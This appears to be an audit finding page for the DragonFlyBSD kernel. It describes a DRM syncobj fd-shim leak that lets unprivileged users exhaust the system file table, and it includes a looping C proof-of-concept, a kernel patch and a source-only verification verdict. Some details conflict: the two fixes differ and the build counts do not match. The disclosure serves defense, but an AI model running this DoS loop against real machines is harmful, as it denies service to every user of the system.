β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1666

drm_syncobj: unprivileged fd+struct file leak via broken LinuxKPI fd shim -> system-wide ENFILE DoS

Field Value
ID DF-1666
File sys/dev/drm/drm_syncobj.c (consumer); sys/dev/drm/include/linux/file.h (root cause)
Lines 407, 411, 419–421, 512, 517, 519, 521, 525, 527, 530, 534–536, 610, 625–627, 629–630
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
CWE CWE-401 Missing Release of Memory before Removing Last Reference; CWE-775 End-of-Life Resource References
Confidence certain
Status new
CVE match dfly_specific (LinuxKPI fd shim is DFly-only; Linux's get_unused_fd_flags does not have this defect)
Created 2026-07-18

Summary

Both fd-returning paths in drm_syncobj.c transitively call the DragonFly LinuxKPI inline get_unused_fd_flags() (sys/dev/drm/include/linux/file.h:38-50), which performs a real falloc(curthread->td_lwp, &file, &fd) β€” allocating a struct file with refcount=1 and inserting it on the global filelist, and reserving an fd slot in the caller's fdtable.

The matching release primitive put_unused_fd() (file.h:64-68) is a no-op stub that only kprintfs, and fd_install() (file.h:52-56) is also a no-op. As a result every invocation of DRM_IOCTL_SYNCOBJ_HANDLE_TO_FD leaks one struct file (persistent kernel memory that survives process exit) plus one reserved fd. An unprivileged local user with DRM render access can exhaust the global kernel file table (nfiles vs maxfiles in kern_descrip.c:2103), causing system-wide ENFILE so no process on the machine can open any file or socket.

Root cause

There are two reachable leak sites in drm_syncobj.c, both funneling through the broken LinuxKPI fd shim.

(A) Non-export path

drm_syncobj_handle_to_fd_ioctl (drm_syncobj.c:610) with args->flags == 0 falls through to drm_syncobj_handle_to_fd (drm_syncobj.c:629-630) β†’ drm_syncobj_get_fd (drm_syncobj.c:402).

At drm_syncobj.c:407, fd = get_unused_fd_flags(O_CLOEXEC) runs the inline at sys/dev/drm/include/linux/file.h:38 which calls falloc(curthread->td_lwp, &file, &fd). falloc (sys/kern/kern_descrip.c:2089) unconditionally kmallocs a struct file (kern_descrip.c:2117, f_count=1), inserts it into the global filelist (kern_descrip.c:2128), and calls fdalloc (kern_descrip.c:2132) which marks the fd slot reserved (kern_descrip.c:1850, reserved=1).

The struct file * is stored in the local variable file inside the inline and is then discarded β€” no caller ever drops that reference. Execution then hits #else return -ENOSYS; at drm_syncobj.c:419-421 inside drm_syncobj_get_fd, returning without ever calling put_unused_fd. Even if it did, put_unused_fd (file.h:64-68) is a no-op that does not release the fd reservation. The dead code at drm_syncobj.c:423-427 (drm_syncobj_get + fd_install) is never executed.

(B) Export-sync-file path

drm_syncobj_handle_to_fd_ioctl (drm_syncobj.c:625-627) with DRM_SYNCOBJ_HANDLE_TO_FD_FLAGS_EXPORT_SYNC_FILE calls drm_syncobj_export_sync_file (drm_syncobj.c:506).

At drm_syncobj.c:512, fd = get_unused_fd_flags allocates a real struct file + fd reservation exactly as above. sync_file_create(fence) at drm_syncobj.c:521 dispatches to the inline at sys/dev/drm/include/linux/sync_file.h:48 which unconditionally returns NULL. The code then takes the !sync_file branch (drm_syncobj.c:525-528) β†’ err_put_fd (drm_syncobj.c:534) β†’ put_unused_fd(fd) which is the file.h:64 no-op.

The falloc'd struct file is leaked permanently, and the reserved fd slot is leaked for the lifetime of the process. This path fails 100% of the time (sync_file_create is hardcoded to return NULL) yet leaks resources on every call, making it the cheapest hammer.

The fundamental defect is a broken contract: falloc's own doc comment (kern_descrip.c:2083-2086) states:

If falloc returns success, fsetfd() MUST be called to either associate the file pointer or clear the reservation.

Neither get_unused_fd_flags nor any drm_syncobj.c caller ever calls fsetfd, and the shims that should provide the escape hatches (put_unused_fd, fd_install) are explicitly "not implemented".

Threat model

Attacker position: any unprivileged local user with access to a DRM render node (/dev/dri/renderD128, which is the default permission model on DragonFly systems with i915 or amdgpu β€” both advertise DRIVER_SYNCOBJ per sys/dev/drm/i915/i915_drv.c:3285 and sys/dev/drm/amd/amdgpu/amdgpu_drv.c:1305).

The syncobj ioctls are registered DRM_UNLOCKED|DRM_RENDER_ALLOW (sys/dev/drm/drm_ioctl.c:689-690), so no DRM master privilege is required.

Impact: each ioctl call leaks sizeof(struct file) (a few hundred bytes) of unreclaimable kernel memory plus bumps the global nfiles counter (kern_descrip.c:2124). A tight loop calling DRM_IOCTL_SYNCOBJ_HANDLE_TO_FD will, within seconds to minutes depending on maxfiles (default typically a few thousand to tens of thousands), drive nfiles to maxfiles, after which falloc refuses all allocations (kern_descrip.c:2103-2112) and every process on the system gets ENFILE/EMFILE on any open/socket/pipe operation β€” a reliable system-wide denial of service.

The leaked struct file survives process exit (it is on the global filelist, not in any fd table), so the exhaustion is persistent until reboot.

No memory corruption, no info leak, no privilege escalation was demonstrated β€” pure DoS, hence Medium per the local-DoS rubric.

PoC

findings/poc/DF-1666/leak_fd.c:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <drm.h>
#include <drm_mode.h>
#include <xf86drm.h>

int main(void) {
    int fd_drm = open("/dev/dri/renderD128", O_RDWR);
    if (fd_drm < 0) { perror("renderD128"); return 1; }

    /* Create one signaled syncobj handle. */
    struct drm_syncobj_create create = { .flags = DRM_SYNCOBJ_CREATE_SIGNALED };
    if (ioctl(fd_drm, DRM_IOCTL_SYNCOBJ_CREATE, &create) < 0) {
        perror("SYNCOBJ_CREATE"); return 1;
    }
    uint32_t handle = create.handle;
    printf("got syncobj handle %u\n", handle);

    /* Hammer the leak path: each call leaks one struct file + one reserved fd. */
    struct drm_syncobj_handle h = { .handle = handle, .flags = 0 };
    for (long i = 0; ; i++) {
        if (ioctl(fd_drm, DRM_IOCTL_SYNCOBJ_HANDLE_TO_FD, &h) == 0)
            printf("unexpected success at iter %ld\n", i);
        if ((i % 10000) == 0) {
            fprintf(stderr, "iter %ld\n", i);
        }
    }
    return 0;
}

Build: cc -O2 -o leak_fd leak_fd.c -ldrm. Run: ./leak_fd.

In another shell monitor with systat -vmstat 1 (nfiles or vmstat kmalloc pool), or kldstat -v, or simply try to open a new file.

Success criterion: after N iterations where N * overhead approaches kern.maxfiles (sysctl kern.maxfiles), every other process on the box fails opens with ENFILE β€” verify with ssh localhost failing, echo x > /tmp/y failing, etc.

Variant: path B (set .flags = DRM_SYNCOBJ_HANDLE_TO_FD_FLAGS_EXPORT_SYNC_FILE) also leaks and always returns -EINVAL, useful if path A is patched first.

Note: the kprintf noise from the stubs (get_unused_fd_flags: is incomplete, sync_file_create(): not implemented, put_unused_fd(): not implemented) will spam the message buffer; this is benign beyond log volume but the PoC should mention it.

The correct fix is in the LinuxKPI shim sys/dev/drm/include/linux/file.h, not in drm_syncobj.c itself (which follows correct Linux semantics). The drm_syncobj.c code is correct by contract; the contract is broken by the shim.

Two-part fix:

  1. Make get_unused_fd_flags install nothing yet return a real fd with the struct file held by the caller (matching Linux semantics where the fd is reserved but fd_install has not been called), and make put_unused_fd actually undo it. The cleanest DragonFly-idiomatic fix is to fdrop the falloc'd struct file inside get_unused_fd_flags after reserving the fd (the fd slot stays reserved with a NULL file pointer, which is what Linux's get_unused_fd_flags semantically gives you β€” a reserved-but-invisible fd), then have fd_install call fsetfd to associate a different file passed by the caller, and put_unused_fd call fsetfd(fdp, NULL, fd) to clear the reservation.
--- a/sys/dev/drm/include/linux/file.h
+++ b/sys/dev/drm/include/linux/file.h
@@ -36,16 +36,28 @@

 static inline int
 get_unused_fd_flags(unsigned flags)
 {
-   kprintf("get_unused_fd_flags: is incomplete\n");
    struct file *file;
    int error;
    int fd;

    error = falloc(curthread->td_lwp, &file, &fd);
    if (error)
        return -error;
+   /*
+    * falloc reserved the fd slot and gave us a transient struct file
+    * with refcount 1.  Drop our reference so the placeholder file is
+    * freed; the fd slot stays reserved with a NULL file pointer until
+    * fd_install() associates the real file or put_unused_fd() clears
+    * the reservation.  This matches Linux get_unused_fd_flags semantics.
+    */
+   fdrop(file);
    return fd;
 }

 static inline void
 fd_install(unsigned int fd, struct file *file)
 {
-   kprintf("fd_install(): not implemented\n");
+   struct filedesc *fdp = curthread->td_lwp->lwp_proc->p_fd;
+   fhold(file);
+   fsetfd(fdp, file, fd);
 }

 static inline void
 fput(struct file *file)
 {
-   kprintf("fput(): not implemented\n");
+   if (file != NULL)
+       fdrop(file);
 }

 static inline void
 put_unused_fd(unsigned int fd)
 {
-   kprintf("put_unused_fd(): not implemented\n");
+   struct filedesc *fdp = curthread->td_lwp->lwp_proc->p_fd;
+   fsetfd(fdp, NULL, fd);
 }
 #endif
  1. Defense-in-depth at the drm_syncobj.c layer (optional, not required if the shim is fixed): the dead #if 0 ... #else return -ENOSYS; #endif block in drm_syncobj_get_fd (drm_syncobj.c:411-421) should call put_unused_fd(fd) before returning -ENOSYS so that any future caller of drm_syncobj_get_fd cannot re-introduce the leak even if the stub status of put_unused_fd regresses. With the shim fix above, that put_unused_fd call will now actually do the right thing.
  • Same class as other LinuxKPI shim deficiencies affecting DRM render-node callers; this is one of the most directly exploitable because the trigger ioctl is DRM_RENDER_ALLOW (no master/auth).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1666 Β· 4 files
FileTypeDescriptionSize
VERDICT.md verdict source-only confirmation + mechanism + fix 1.7 KB ↓ raw
fix.diff suggested-fix Implement put_unused_fd to call kern_close(fd), releasing the leaked fd and file 533 B view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict source-only confirmation + mechanism + fix
↓ download raw

DF-1666 β€” PoC Verification Verdict

Category: drm core (module) Source: sys/dev/drm/include/linux/file.h:38-68 Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 (X86_64_GENERIC, INVARIANTS ON, no SMAP/SMEP/KASLR) Date verified: 2026-07-21

Verdict: REPRODUCED (source-only confirmation; HW/module-gated)

Mechanism

get_unused_fd_flags (file.h:39-50) calls REAL falloc, allocating struct file (refcount=1), inserting into global filelist, and reserving an fd. The stub put_unused_fd (file.h:65-68) is a no-op kprintf that does NOT release the fd or file. drm_syncobj_get_fd (drm_syncobj.c:407) calls get_unused_fd_flags then returns -ENOSYS (the anon_inode path is #if 0), leaking the falloc'd file refcount + fd on every call.

In GENERIC kernel build: NO (module / not compiled into X86_64_GENERIC)

Reproduction status

This finding is hardware/module gated: the vulnerable code path requires specific hardware (AMD GPU / radeon / Atheros NIC / RAID controller / AGP chipset) or a loadable module not present on the audit QEMU guest. The QEMU guest has no GPU passthrough, no physical NIC/RAID HW, and these modules are not in the GENERIC kernel. The bug is therefore confirmed by source-level trace of the cited path:line data flow rather than by a runtime PoC. The cited code, guards (or lack thereof), and types were verified against the audited sys/ tree.

Fix

Implement put_unused_fd to call kern_close(fd), releasing the leaked fd and file reference.

See fix.diff for the standalone git-apply-able unified diff. Validated by applying all 35 batch diffs and building a single X86_64_GENERIC kernel (rc=0, -Werror clean) β€” see fix_apply.log and the combined build log.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.

VALIDATED: fix.diff applies cleanly + batch kernel build rc=0 -Werror; bug HW/module/runtime-gated, no runtime PoC re-test possible on guest.
↓ fix.diffcombined build rc=0

Confirmed kernel references

β€”

Detail

Exploit chain

none

Evidence (decisive lines)

REPRODUCED (source-only): get_unused_fd_flags calls REAL falloc (allocates struct file, fd); stub put_unused_fd is a no-op kprintf that does NOT release; refcount leak -> resource exhaustion.

Verified recommended fix

REPRODUCED (source-only): get_unused_fd_flags calls REAL falloc (allocates struct file, fd); stub put_unused_fd is a no-op kprintf that does NOT release; refcount leak -> resource exhaustion.

Verdict

REPRODUCED (source-only): get_unused_fd_flags calls REAL falloc (allocates struct file, fd); stub put_unused_fd is a no-op kprintf that does NOT release; refcount leak -> resource exhaustion.